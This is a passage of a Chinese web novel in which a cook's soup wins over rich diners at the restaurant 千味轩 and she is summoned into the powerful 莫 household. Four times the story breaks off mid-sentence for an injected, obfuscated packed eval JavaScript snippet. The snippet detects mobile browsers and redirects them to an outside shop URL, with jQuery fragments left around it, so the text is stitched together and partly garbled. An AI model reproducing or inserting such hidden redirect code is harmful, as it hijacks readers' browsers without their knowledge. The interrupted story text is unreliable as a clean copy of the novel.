;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371175|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，绝不会混入中下之作。 于是她随口说：“做好端上就是了。” 掌柜答应一声，这才下去了。 白衣客人是不会避讳争端的脾性，眼见她们都维持了冷静，这才端起自己面前的青玉苏黄汤，一边喝一边问道：“这汤水好喝是好喝，但酝酿起来也不过半月而已。依明姊的财力，是轻易能得的，如何就往后再难有了？” “牛客”抢先说：“小柳你是不知道，这汤难得是其一，荷叶难得又是其二。白竺荷不少见，可是双面白竺荷只在南地小竺镇的两个村子才有的种，每年出产也是有限，偏偏青玉苏黄汤是指定要拿它来配，风味才算最好，难为你明姊竟然得了这些。” “这双面白竺荷从南地遥遥运来，五日之内，仍是青碧，此时就要趁晴日赶晒，半干之后谨慎储存。待到用时，热汤一浇，荷叶就绽放开来，覆盖住杯碟盘碗，抖擞不落；汤水过茎，浸润沁香，正好消去青玉苏黄汤的涩味，再生清甜，再好也没有了。” 熟客被抢了话也不生恼，因为她正有另外一肚子话要说：“双面白竺荷又妨碍什么，不过是费些钱财，做垫而已！那青玉苏黄汤才是最最难，不是哪个厨子都可做的。食材火候，料理工序，每一环都不可轻慢。至于半月之期，既是给汤，也是给厨子的，你可知道我好不容易才寻着了这个方厨，央她好久，才肯为我做那最正宗的青玉苏黄汤？” 熟客一讲起便滔滔不绝：“……玄肉鹿茸，秋黄之苏，白露之茹，多少好食材都是任取任用。半月以来，方厨是披星戴月，晨起下材，月下熬汤，日日守着时辰，一样一样将它们熬煮得澄碧清冽，味道又不混不乱；最后辛苦寻得纯色青玉一副，洗涤磨净，制成一皿，以此沉淀一日，才得了那最好的清汤，也就这五碗而已！” 有她这样一介绍，两名陪客顿觉口中汤水更加香甜了。 而白衣客人则饶有兴趣地问：“那青玉又是从何而来？咱们城里管着这生意的那位，好像不是个轻易割爱的性子吧？” 熟客呵呵一笑，“那位确实是难缠得很。所以我说，能得这汤，真是多仰仗了方厨啊。” 白衣客人挑了挑眉，熟客也向她摊手，二人互相交换了心照不宣的笑意，心中又添了些疑惑来。 那个莫吴语，瞧着打发起厨子来不含糊，怎的还舍得给人如此珍贵的馈赠？ 不过左右这事情也和她们做食客的无关，两人并未多想。 无端被她们排斥在外的“牛客”，却是不肯落于其后，连忙显摆道：“那位也是做事没个定数，薅厨子也不讲理！我此前爱她那街上的八宝楼，好几个厨子都被无端抽走，掌柜的也不敢轻言，气人得很。现在我跟着大明你来千味轩，偏偏她又开始从这里一个又一个地要人了，当真是晦气。” 熟客此前还没想到这一层，忽然被提醒了一回，面上生怒：“这晦气难道不像你带来的！” “牛客”委屈道：“你竟说这些无理的话来！” 白衣客人看她们碗中的汤水都喝尽了，也不担心她们再打，只道：“谁让她搭上了佳膳会的路子呢。祝会长如今不管事，杨绍安又是老好人，自然任由那位折腾了！” 几人闲谈一阵，提前订下的菜肴已陆续被送上了桌，大盘大碟地摆出个吉祥花样，瞧着喜人。 28. 豚与熊掌 所有菜肴均是熟客精挑细选，滋味各有千秋，只是不如青玉苏黄汤那样珍稀难得。 主宾齐齐动筷，各自挑选偏好的口味，也有互相推荐品尝的，一时赞语不断。 白衣客人笑道：“怪不得两位姊姊都道这家好。我虽不懂这些名菜的奥妙，单用嘴巴尝着也觉得喜欢，日后倒可以常来。” 两位陪客也都跟着讲了类似的话，其中当然有吹捧主人家的缘故，但也夹杂了几分真心。 熟客对此洋洋得意，随手指了桌上一道红汁烩肉，炫耀道：“你们若是独自来，可未必能吃到我点的这些菜。单就这一道烩肉来说，对外就有纯烩和炒烩之分，风味不同。而我是既偏爱纯烩的香嫩，又爱炒烩的火气。因此凡是我点这道菜，她们必要同起两锅，烩又炒之，再加特制的香叶、曲红醋……最后炮制出这一盘来。” 她话音刚落，“牛客”的筷子就冲着那道菜去了。 后者挑剔地夹起了一块卖相上乘的烩肉，饱饱地沾足了红汁，嚼咽下去，发出满足的喟叹。 “果然是又香嫩，又丰醇。”“牛客”意犹未尽，“只是你能点得，我如何点不得？现在我可知道了你的点法，只消吩咐一声，也能吃得着。” 熟客既然把这诀窍当众讲出，自是不打算隐瞒的，但这也不妨碍她斜眼目视“牛客”：“你尽管点去，把一道烩肉点出两道的价格。你又不在千味轩的豪客册上！我点这个是照价，你是去做个冤大头！” “牛客”嚷嚷道：“冤头而已，只要不冤枉嘴巴，多少钱我出不得！” 白衣客人不想再管她们的口舌之争，只专心地吃菜用饭，慢慢填了个半饱。 她正思量着接下来该用什么，忽而见送菜的伙计又端了一盆汤过来，闻着肉香扑鼻，顿觉口舌生津，便招手叫道：“将它放到我这儿来。” 伙计依言摆汤送勺，白衣客人定睛一看，顿时吃了一惊：“这是……熊掌炖汤？明姊，你好大方啊！” 熟客的位置离得远些，只能眯着眼睛去看放在对面的汤，很快就发觉它并不处于自己提前定好的菜单上。 那就只能是掌柜先前推荐的、某位新厨的拿手菜了。 于是熟客意味深长地点评道：“汤白肉黑，色香俱全，瞧着倒是不错。只是哪有夏日吃这个的，莫不是想宰我？” 老饕吃熊爪，大都选在冬日。 只因熊冬月长眠，蛰时不食，饥时则舐其掌，故而增添许多肥美，味好价贵，才有那猎人肯冒雪去取。 猎到熊掌之后，不能立食，须得炮制收藏一两年以上，再逢冬日拿出，洗净烹调，正可补身。 如此一通折腾下来，能在冬日饮熊掌汤已是难得的奢侈，遑论夏日？ 熟客能有此问，倒不是嫌夏日食用熊掌过补，也不是真心觉得食材过贵，而是怀疑起千味轩拿新厨作态，暗暗欺客。 且说这掌柜荐厨一节，本就是千味轩专门提供给豪客的享受。 一般的客人花费少、品味差的，甚至没有被推荐新菜的资格。 如果豪客收到推荐，同意上菜了，吃得喜欢，就可以将新厨叫来询问，打赏赞誉，无不自由。 若是吃着觉得不喜，也没关系。 只要客人提出的理由得当，评之有物，千味轩不仅不收菜钱，还会另做好菜，作为赔礼。 因为豪客皆是在千味轩花费甚巨，且品味精妙、地位不凡之辈，少有故意寻茬以骗取赔礼之人，大多时候都是靠舌头说话。 但千味轩设计荐菜的初衷，一是为新厨揽客，二是让客人尝鲜，目的是锚定受众、打开销路。 那些对荐菜表达了不满的豪客，虽然能获得赔礼，但也会因此被千味轩判断为“非受众”。 接下来若有类似口味的新菜，千味轩便不会选择向她们提前推荐，如此就失了口福，慢人一步。 这熟客既是老饕，又是豪客，自然深知千味轩的潜在规矩，往往都会接受荐菜，抢先一尝，打赏时也极为大方。 可是这并不代表着她就是个见新即喜的木舌头！ 熟客的眼光高得很，钱袋是开得容易，束得也紧。 区区一道夏日熊掌汤，不过占个食材和季候的稀奇而已，顶多算得上贵菜，并不像是要彰显厨子的本事，倒像是来收割客人的钱包。 伙计和这位客人也是老相识了，此时见她笑中带怒，完全不敢怠慢。 她连忙取了一旁的净筷，当着众人的面入盆轻拨，搅起乳白的汤水，把其中的“熊掌”翻过了面。 “明老板您看，这可不是熊掌，是豚爪呢！” 熟客轻轻“噢”了一声，语气有点奇异，视线也往白衣客人的方向转去，意思很明显： 熊掌与豚爪，你都分不出吗？ 白衣客人在伙计动手翻过“熊掌”之后，再作细看，才知道自己先前是闹了个乌龙，脸色微微一红。 她连忙跟熟客赔罪，口称“小妹鲁莽”“叫明姊看笑话了”，又转头谢那伙计；伙计连说不敢，匆匆退下席去，继续往来送菜。 熟客心满意足地欣赏了一会儿席上年纪最小者难得的窘迫，开口道：“不怪你，你又不常到这些酒楼里来，能懂得什么呢！倒是我的错，从前不曾请你好好尝一回熊掌，现在上了个豚爪，竟然就叫你认错了。” “牛客”应声说道：“对喽，你一直都这样，假大方！别说什么冬吃熊掌夏吃鱼了，只说‘古八珍’、‘今八珍’，你都请她吃了几个？回头还是我带你们去一趟杨万食肆吧，那儿的东西不贵，但起码有一个好处：‘鱼大姑’的河鲜可不会叫人认错！” 被当面拆台的熟客勃然大怒：“你！” “牛客”满面不解：“怎么，千味轩难道还能和杨万食肆相比？” 眼看熟客已经气得青筋暴起，白衣客人急忙安抚：“这城中多少食肆，百花齐放、各有所长，有什么可争的呢？莫说熊掌炖汤，这豚爪汤我也是头回喝，瞧瞧这汤水，竟似羊乳一般……” 她转移话题的能力不算高超，但两人的注意力都被吸引了。 一个说：“豚爪汤还是清汤的好，最见厨子功底。肉要熬得软而不散，蹄筋入口即化，汤汁浸润入髓。喝汤时撇去油花，一口下去，不腥不涩，那才叫个回味无穷。” 另一个也说：“我倒不介意汤水浑些，但配菜不可含糊。藕片、海带、豆面须与豚爪同炖，爪不要去骨，料包要勤滤，切记小火锁香，大火收汁。最后上来得是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371176|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只豚爪在中，配菜居下，再少少地带一点汤汁就好了，肉一口一口地抿着吃，最香。” 白衣客人说：“听你们讲的，仿佛这世上有两模两样的豚爪了！” 她舀了一勺自己眼前的“羊乳豚爪汤”，装入碗中，率先自饮了一口。 “唔……” 白衣客人咂嘴不语，熟客与“牛客”心里暗暗比着劲儿，也陆续盛了汤来。 熟客先动手，趁此机会好好看了一眼那汤的成色，当真是白如雪，润如酥；再看盆内踞坐着的豚爪，漆黑的表皮连着透明如玉的筋膜，骨也削直，肉也攒叠，炖得是颤巍巍的丰美，直叫她心尖一动，舌尖生津。 汤虽不清，但能有如此品相，显见是出自佳厨之手啊。 “牛客”就没有熟客那般的踌躇，连汤带水地，端走了那豚爪。 这举动实在又馋又无礼，只是还没等熟客开口骂她，本来玄黑如墨、隆如熊掌的豚爪忽然在“牛客”勺下四分五裂，将将好化成了五块断肉。 熟客眼疾手快地捞走了属于自己的那一块，而后才出声赞叹：“好刀工！” 方才那伙计用筷子为豚爪翻面，是夹着最上端的尖处，兼之力道较轻，满桌人都没看出异常，只以为那是个巨大且完整的豚爪。 但是“牛客”偷肉心切，勺子直接舀向了豚爪的中部。 做这汤的厨子显然在那里暗施了刀力，根据她们的人数，精细地磋磨了豚爪肉筋，令其欲断不断，艰难地维系着五块断肉。 熟客抢肉入碗，更加不敢耽误，慌忙送入口中，唇齿一抿，双目暴亮！ ——好个肉感！好个胶质！ 这豚爪，从外面看时不觉得有多稀奇，真吃进嘴了才知道厉害。 皮带肉，又筋道，又肥嫩，偏偏没有那等油腻的口感，而是一抿即化的舒爽。肉膜微微地打卷，嚼起来带着软绵的甜，随后再续上一口敦实的肉，甜味马上又被霸道的醇香冲散。 她含着时，觉得不足；咽下了，又觉得不舍。 心头刚生出少许回味，汤汁的滋味紧接着在舌尖爆开，鲜、甘、清、润，配着豚爪肉的丰美余韵，真真是出彩无比，相得益彰！ 熟客狼吞虎咽一般，吃了豚肉，又忙喝汤；而那白衣客人是先喝了汤，然后马上去盆中捞肉；“牛客”就更不提，睥睨的目光直接吓退了剩下两名胆怯的陪客，堪称凶恶地又捞了两块肉，甚至顾不得拿碗去接，一口就吞了。 豚爪汤内，便只剩下了躺在盆底的一节带髓的肉骨。 肉是脱得干干净净，汤也被喝得干干净净。 结果最后连骨头也没被放过。 熟客淡然地嗦走了最后一口精髓，越尝越觉得满意，连忙叫那伙计：“你们掌柜的呢？快把这位大厨请来，我要当面与她结交！” 她不说打赏，不说喜爱，但一句“结交”，已将心中的满意之情全部道尽，进而发展成一种迫切的向往，巴巴地朝门外张望起来。 掌柜听到伙计来报，面上露出了灿烂的笑容，但并没有显得太过惊异，仿佛已经见惯了一般。 她去后厨请人时，姿态当然是恭敬的，口吻却透着一股不寻常的熟稔：“乌大厨，又有客人请你来见了！” 29. 莫家来人 “晓得咯，俺来了！” 乌婕穿着千味轩厨师统一配备的灰色罩衣，匆匆抹掉了一把额上的薄汗，从后厨出来了。 与她同时踏出门槛的，还有一位方厨。 这也是千味轩的规矩之一： 客人见新厨，旁边要有一名老资历的大厨作陪。此举既是为新人壮胆，也是方便老厨与客人加深联系，对双方都有利处。 而如果客人和新厨之间的交流不畅，老厨就要适时站出来转圜，替新人描补，为客人搭台。 方厨的性情疏朗大方，本人又和熟客交好，还亲手做了席上的首菜青玉苏黄汤。 由她陪伴新人厨子“乌唐”共同见客，再合适不过。 当然，假如“乌唐”自己不愿劳烦方厨，那也可以另择一位热心大厨。 反正她来得最晚，千味轩里面每一个厨子都能做她的前辈。 比起资历深厚的老厨，兴许与“乌唐”年纪相仿、性情投契的厨子，更能得到她的信赖呢。 因此，当两人跟着掌柜往楼上去时，方厨便笑着调侃道：“我还以为你要喊上李厨同去，你们不是常在一起玩吗？” 乌婕回答说：“李厨让俺不要老想着拉她去，您才是俺们的大前辈。” 她这话讲得有点儿白，虽然带上了半句恭维，但明显是李厨子教她的，她自己心里未必就如此想了。 不过方厨的脾性是真的好，这些日子也看明白了“乌唐”的为人，不仅不以为意，反而替她与李厨的情谊赞了一声：“你俩都是好的。” 乌婕用澄澈的目光回应了她，越发逗得方厨开怀。 说话间，掌柜已熟门熟路地带着她们进了包厢，替客人与厨子们互相引见。 熟客与“牛客”都认得方厨，无须过多寒暄，便把热切的目光向在场的另一名生面孔投去。 然而那生面孔已经和白衣客人讲起话来了。 “……你就唤我一声花老板吧。”白衣客人惊叹地仰望着身材高挑的黑脸厨子，“你是幽岍人？我记得那地方多是冻土，也没个名山险峰，你怎么能生得这么高，又这么黑的！” 乌婕开朗微笑：“俺也不知道，俺从小就这样！” 白衣客人看看她，又看看脸庞白净、笑容和蔼，人也矮墩墩的方厨，心里很惊奇。 白衣客人也算是见多识广，但于吃食上，她的阅历是远不及友人的，和厨子的接触也不算很多，因此还对此保留着天马行空的想象力。 那道青玉苏黄汤精致奇巧，她很喜欢；清炖豚爪汤口味醇厚，她也喜欢。 在她的设想中，能酝酿出青玉苏黄汤的厨子，定是个五官秀美、文质彬彬的青年；而能做出那道汤白肉软的清炖豚爪汤的，就得是个沉着稳重、年岁稍长的妇人。 ——结果它们竟是由这两个看着平平无奇的厨子做出来的！好生神奇！ 白衣客人神游之际，熟客已决定加入她们的谈话。 她在这方面的经验十分丰富，为了避免新厨尴尬，选择先询问与自己更熟悉的白衣客人：“你从前也没见过方厨，怎么一眼就能分出她们？” 白衣客人理所当然地回答说：“我一看她们就知道，哪道汤该是哪个大厨做的！” 有了她这句话，熟客自然地将目光移向乌婕。 她瞧了一眼大厨的形貌，忽而想起了腹中豚爪的颜色和滋味，再与眼前的“乌唐”大厨一对照，不由莞尔。 “乌厨瞧着年轻，制汤的手艺却称得上一流了。”熟客迫不及待地问，“不知乌厨可是家学渊源？有无师承？这道菜我从未听过见过，可是您自行研制出来的？” 乌婕老老实实地回答：“教俺做这道汤的老师姓唐，是幽岍人，现在还在家乡哩。俺从她那儿学了菜之后，有自己改过一些，本来汤是没有这么白，肉也不会这么黑的。” 熟客听得是一喜一忧又一喜。 第一喜，是知道这位初来千味轩不久的新厨果然有老师！ 她年纪这样轻，就有这样惊艳的厨艺，那她的老师岂不是更厉害？ 第二忧，就是听到乌婕说她的老师还在幽岍了。 那地方可远得很，去了也不一定能找着人。 就算老饕的骄傲能让熟客不轻言放弃，但她还没吃够湖仁的珍馐，实在舍不得抛下这里的名厨与好菜。 第三喜，则是因为她明白，这位大厨比她想象的还有实力！ 若是那等只会沿袭师承、固步自封的厨子，做出来的菜便没有灵魂，顶多让人初尝时觉得惊艳，早晚会有吃到腻烦的时候。 但“乌唐”大厨学了菜，又会自己改菜，肯钻研、会创新，她将来的成就一定不可限量！ 不过，她说自己改了一些，究竟是改了多少呢？ 这可关乎着熟客对她人品与实力的判断。 熟客连忙又问了几句做这道菜的关窍。 乌婕为了秘方不泄，答得十分委婉克制。但她的言语简明流畅，其中透露的信息足够让熟客确认，这位厨子确实是亲自上手改良过，才会拥有如此深刻的认知与领悟。 熟客欣然道：“乌厨厨艺高绝，性情稚纯，如此人才实在令人钦慕。我观乌厨年纪甚轻，不知家中可有婚配？” 此语一出，在场众人都是一惊。 “牛客”叫道：“你还要给人家大厨做媒不成！” 白衣客人也不赞同地蹙了眉：“初次见面，明姊怎能如此鲁莽！” 人是厨子，你是客人，婚姻又是成家大事。 就算你真的见猎心喜，也得私下探问好了再行事，怎能、怎能在如此场合讲出，仿佛在以势压人一般？ 方厨倒是见惯了这位客人的豪放行事，深知此时就该是自己出面转圜的时候了，当即挺身而出。 不想，熟客面向众人，摇着手道：“你们想到哪里去了！我是有心想请乌厨做个入宅的大厨长，就这一道汤水，已足够为我的私宴增色。若乌厨独身一人，那自然好商量，我这里的报酬定不会少；若是有家眷小女，前程大事，远的不敢说，单单在湖仁城里的，我也能帮着办一办。乌厨，不妨考虑考虑？” 乌婕还是头次遇见如此郑重的邀请，客人和掌柜都在场，她自己反而是不大好讲话的。 方厨挡在她身前，刻意做出酸溜溜的姿态：“明老板豪气，只是听您这样说了，我心里醋得很。我都和您认识这些年了，怎么就够不上您家的大厨长呢！” 方厨用话一捧，姑且给对方垫上了面子，掌柜紧跟着向熟客推脱：“哎呦，明老板您这，我可怎么给杨厨交待！乌厨她也是拖家带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371177|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的，好容易在我们这安置了，您就要把她一网打尽去了。真是要网，便网走我吧！只是要乌厨留下来。” 熟客指着掌柜笑道：“我要你作甚！真要一网打尽，老方我是不放过，老于她也别想跑！只是我知道她们都和你家签了长契，轻易脱不得身的，可是乌厨不是新人么？只要她甘愿，我自然待她千万好，不过是请杨厨放她的契罢了！” 方厨在一旁说：“原来您打着这样的算盘。是看乌厨年小面生，容易被您拐带了去？但有一件事您恐怕不知道，乌厨是我们杨厨亲自敲定，当面写了契，归了档，绝不肯放人的。” 熟客大为失望，悻悻然坐回原处。 “牛客”并不是千味轩的豪客，对于某些微妙的潜规则知之不深。 比如千味轩怎么还需要那位杨厨亲自去敲定人？这不是东家的活吗？ 而且，就算杨厨亲自敲定了又如何，工契归了档又如何。 放在旁的酒楼，只要东家、客人、厨子三方都情愿，客人想私聘走一个厨子，总是极为容易的。 但这事偏偏在千味轩就不行。好吧。 “牛客”便捡了自己想问的说：“既然长期私聘不成，短聘总行的吧？我听说你们家新厨签的都是时日契，总不会限制了自由。” 这回是掌柜的先出来答话：“我们乌厨签的倒是时日契，但她的契已在佳膳会归了档，您若要短聘她哪，得通过佳膳会去联络。” “牛客”这才晓得其中利害，跌足叹道：“你们千味轩这是怎么回事呀！好好的一个新厨，又有这样的手艺，还在这样的关头。我若是你们，想要藏着都来不及，你们偏偏要把她露在外头！” 她们谈论的分明是有关“乌唐”的，但乌婕对佳膳会的了解还是不够深入，此时就听得却半懂不懂。 她面上维持着爽朗的笑容，精神高度集中，细听掌柜接下来的回应。 掌柜说：“您也说了，如今是这样的关头。我们杨厨惜才爱才，唯恐旁人强势将乌厨掠进自个儿宅子里头，不放人了。为此倒不如先把契归进佳膳会里，多上一重的保证，这样外人要请乌厨，也只能从那边短时日地请她……” “掌柜的！” 楼下忽然有人叫，接着是一串迅疾的脚步。 某个伙计气喘吁吁地跑上二楼，站在厢房门口，神色闪着不安。 “莫家来人了！” 乌婕心中一动。 场中几位客人皆露出些烦躁的神色，白衣客人还道：“偏就这时候来要？” 熟客问：“大前次是方厨，上次是李厨，这次总不能是老于吧？” 伙计的目光仿佛冒着火星。 一点烧灼，落在乌婕炭似的脸上。 熟客气得手指都哆嗦：“哎——！” 她好不容易看上的新厨子！ 那个莫吴语，当真是个祸害！ 乌婕问：“你看俺作甚？” 伙计顿了顿，看神情似乎在酝酿要怎么说。 但她还没有开口，又有一人忽然走了进来，目光在场中一扫，略带嫌弃地投在乌婕身上。 “怎的是这么黑莽的人，哪里伺候得好贵客……罢了罢了。” “那黑娘，莫家主要请你呢，还不赶紧收拾了包袱，随我上门去！” 30. 独闯虎穴 熟客见到来人，从鼻子里往外喷了口气，神态十分轻蔑：“呦，黄钱途，你什么时候改姓了？是不是现在得喊你莫钱途啊？” 最后一句刻意压厚了口音，听着和骂人“没前途”无异。 黄钱途回视了她一眼，眼中分明有些忌惮，却不敢回话。 但她想到自己背后站着的那人，以及莫家，便又悄悄挺直了腰板。 “黑……乌厨子？乌唐！听明白了么，还不跟我走？” 乌婕站在人群中，一时竟成了多方瞩目的焦点。 许多意味不明的视线都朝她投来，似乎是要看她作何反应。 于是乌婕选择回应众人的期待，诚恳地向黄前途发问：“俺没明白。请问，您贵姓啊？” “噗！” 白衣客人没忍住，笑了出来。 她明明可以问“你是谁”“你找我做什么”，但偏偏像是被熟客那句“你什么时候改姓”带歪了一样，问的是贵姓。 不过，这也不能怪她，要怪还得怪黄钱途。 黄钱途并不是什么家境沦落的破落户，即使不去攀那位与她同姓远宗的黄夫人的裙带关系，日常吃穿也是不愁的。 可她就是丢掉了脸皮，巴巴地跟在莫吴语屁股后面讨好，尽做些抢人打闹的污糟事。 没看黄夫人都被他母亲勒令，要远着她了吗？ 不过，兴许黄钱途还会觉得这是好事呢。 毕竟莫吴语已把她看在眼中，作为跳板的黄夫人就没了用处。 且黄夫人既不在莫吴语跟前得宠，又不是黄钱途的亲生兄弟。 于她而言，黄夫人的价值不多，想弃也就弃了。 此后没了黄家的掣肘，反而更方便黄钱途往莫家钻营。 然而，黄钱途遗漏了一件最重要的事： 莫吴语确实不宠爱黄夫人，但她既然娶了他做自己的继室，说明他对莫吴语是有价值的。 ——黄夫人的母亲可是佳膳会资历最长的黄厨！ 莫吴语娶黄夫人，就是为了和黄厨搭上关系，怎会不考虑她的态度？ 于是黄钱途便发现，无论她怎么讨好、怎么逢迎莫吴语，后者对她的态度还是一天天冷下去了。 以前莫吴语心情好的时候，手指缝里漏出来的零星好处都能叫她吃撑。 可是现在的莫吴语对她，甚至生出了一种厌烦。 前些时候，莫吴语去吉荣轩寻乐子，跟前的侍从收了黄钱途的好处，“无意间”在莫吴语面前提了提她的名字，竟然惹得莫吴语勃然大怒，弃了所有随侍，拂袖而去。 黄钱途得了消息，只觉得前途无亮，焦灼不已。 她不敢再去莫吴语面前晃荡，生怕这样会提醒莫吴语直接把她驱赶出去，从此只能彻底离开莫家。 放在从前，像这种跑去佳膳会翻找能做新奇菜肴的厨子资料、回报给莫家管家，由管家问过莫吴语的意愿，再递消息回来让她跑腿去请人的活计—— 又琐碎、又麻烦、又不能在莫吴语跟前露脸，黄钱途是根本不屑做的。 但如今的“莫钱途”是非做不可。 她不能让外人发现，莫家已经不是她背后的倚仗了，她是可以被随意报复的了！ 越缺什么，就越要强调什么。 可是有些事情再怎么强调，也不会变成真的，只会反反复复对在意者进行精神上的凌迟。 黄钱途面对这个满眼好奇的黑脸厨子，涨红了自己的脸皮。 “问什么问！莫家主已经让人在佳膳会请了你的短契，要是敢耽误了正事，你就别想在湖仁混下去！” 她上来就抓住了乌婕的手臂，欲把她强行拖走。 掌柜和方厨都伸手来拦，而乌婕轻松一挣，身高只到她肩膀处的黄钱途就被她甩了个趔趄，差点摔在地上。 “俺又不是不和你走，拽俺干啥！” 乌婕用在场人都能听见的嗓音大声喊了一句，转头询问掌柜：“掌柜，这人不是骗子吧？一来就叫俺跟她走，走去干啥？” 掌柜忍着笑说：“乌厨莫急，我们也不知道呢。若是有老板要请你回家做短契的私厨，必然要从佳膳会那里拿批条过来，由我们这里盖了章，才算是正经地放人。要是来个人嚷嚷着就能把你带走，我们千味轩还要不要开门了？” 方厨脾性好，见不得有人被摔摔打打的，遂不忍地挪开了视线，不再看半跪在地上的黄钱途。 她对熟客说：“这回实在是扰了诸位的兴致，之后我一定跟杨厨说，得多找几个人为千味轩守门，不能叫恶客混入了。” 熟客看在方厨的面上，缓缓收了怒色，应了一声：“这也是防不胜防的事情，怪不到你们头上。既是我慢了一步，那也没什么好说的。就照以往的例子，送乌厨一笔饮茶钱，莫嫌少啊。” 方厨笑道：“明老板出手最大方，乌厨是有福了！” 乌婕走到方厨身边，顺着她的话，郑重向熟客道谢：“多谢您的厚爱，下回您过来点俺的菜，俺给您做最拿手的，跟这回的不一样。” 熟客眼前一亮：“乌厨最拿手的居然还不是汤菜？愿闻其详。” 客人与厨子的交流总算进入了正常的氛围，一时和乐融融。 在场没人去搀扶黄钱途，她也没那底气去闹，唯恐自己在莫吴语跟前失势的风声已然透在了外面，只能咬着牙一瘸一拐地起身，自以为强撑着体面。 熟客等人对乌婕的兴趣颇浓，抓着她盘问能做的菜单，连一点眼神也没分给多余的人。 掌柜一面紧盯黄钱途，一面让伙计先到楼下蹲守着。 不久后，千味轩迎来了一个手握批条、少言寡语的管事模样的人，掌柜仔仔细细验过对方的身份，才肯放她去和乌婕接触。 方厨自然介入到客人们的谈话之中，请她们多宽谅，然后把乌婕带了出来，叮嘱道：“莫家势大，但也不能无故害人，你去那里便只是做菜，隔三日便能回一次家，不要惊慌。按李厨的例子，如果主人家不满意，五六日就会放你走的。” 进入莫家的机会就在眼前，乌婕出奇地冷静。 她应答道：“嗯，俺就是做菜去的，一定、好好地做。” 莫吴语，你究竟意欲何为呢？ 乌婕自从入职了千味轩，一直有意和李厨拉近关系，两人的关系确实处得好了些，但时日尚短，终归没有好到亲如一家、互通消息的地步。 对于在莫家当私厨的那段日子，李厨是三缄其口，而乌婕为免打草惊蛇，暴露意图，也不能深问。 那么，她能做的就只剩下—— 多做菜、多做新菜、多做好吃的新菜，让客人们注意到她，替她打出名声去。 熟客也不是第一位想要请她上门做私厨的客人。 此前的客人们在意动之下，也有真的派人去佳膳会走程序的，奈何流程卡在了半道，并没有很快下来。 乌婕猜，这也许是有人提前的布置，要刻意卡住一些有潜力的新厨，以备……挑选。 那时候乌婕便知道，她很快就能得到想要的机会了。 “多谢方厨告诉俺这些，俺还怕她们不放人，家里头夫人要担心的。”乌婕说。 “嗯，你别紧张，这都是小事……” 方厨听出她言语诚恳，又低声提醒了她几句，匆匆让开身位， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371178|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让莫家的管事过来了。 莫家管事看了站在厢房门根处的黄钱途一眼，略皱了皱眉。 黄钱途强笑着上前问好。 管事不冷不热地道了声“辛苦”，如此就将她打发了，黄钱途也不敢多言。 乌婕垂眼听着那管事给她训话，灌了满耳朵的“莫家主看中你何等难得”“做事尽心酬劳少不了你的”，大多听着居然还挺顺耳。 “批条也叫你们掌柜的验过了，旁的事都没有了，那就跟我走吧。”管事最后说。 乌婕赶紧叫停：“俺还想跟家里人讲一声，回去收拾些东西！” 管事看了她一眼，“莫家什么东西都有，用不着你收拾。至于告诉你家里人……回头叫人替你送个口信就是了。” 乌婕仍坚持道：“哪能这样呢？俺夫人身体弱，又爱多想，今晚上俺要是回不了家，他恐怕能自己把自己吓死。再说，俺还有些专门的调料用具放在家里，那都是湖仁没有的。” 最后一句倒是打动了管家。 毕竟主家肯雇这个新厨子，就是奔着她那一手备受称道的外地菜，指望着她能让那人开胃展颜呢。 “我差个人赶上马车跟你去，就停在你家街口，帮你运东西。”管家提醒她，“就算东西再多，给你半个时辰收拾也就够了，可别耽误了事情。” 半个时辰确实够了。 乌婕一路疾奔地回了租处，先打发那莫家随从搬运一口大锅出门，而后才拉过原四卿，细致嘱咐：“莫吴语派人来找我，事情已经成了一半。若无意外，每三日我能回来一次，四卿勿忧。这几日你若无事，就和齐师去松水街走走，不必过久，买些糖水就好。” 原四卿不问缘由，毫无异议，只默默记下她的吩咐，而后从袖中取出一枚平安结，塞进她手里。 “乌姊此去，一路平顺。” 乌婕孤身进入莫家，当然是危险的。 但这种被请进去的“进”法，总比她们曾设想过的翻墙夜探、掳人逼问……等等来的安全。 原四卿最后还是没忍住，伸手抓了一下她的衣袖。 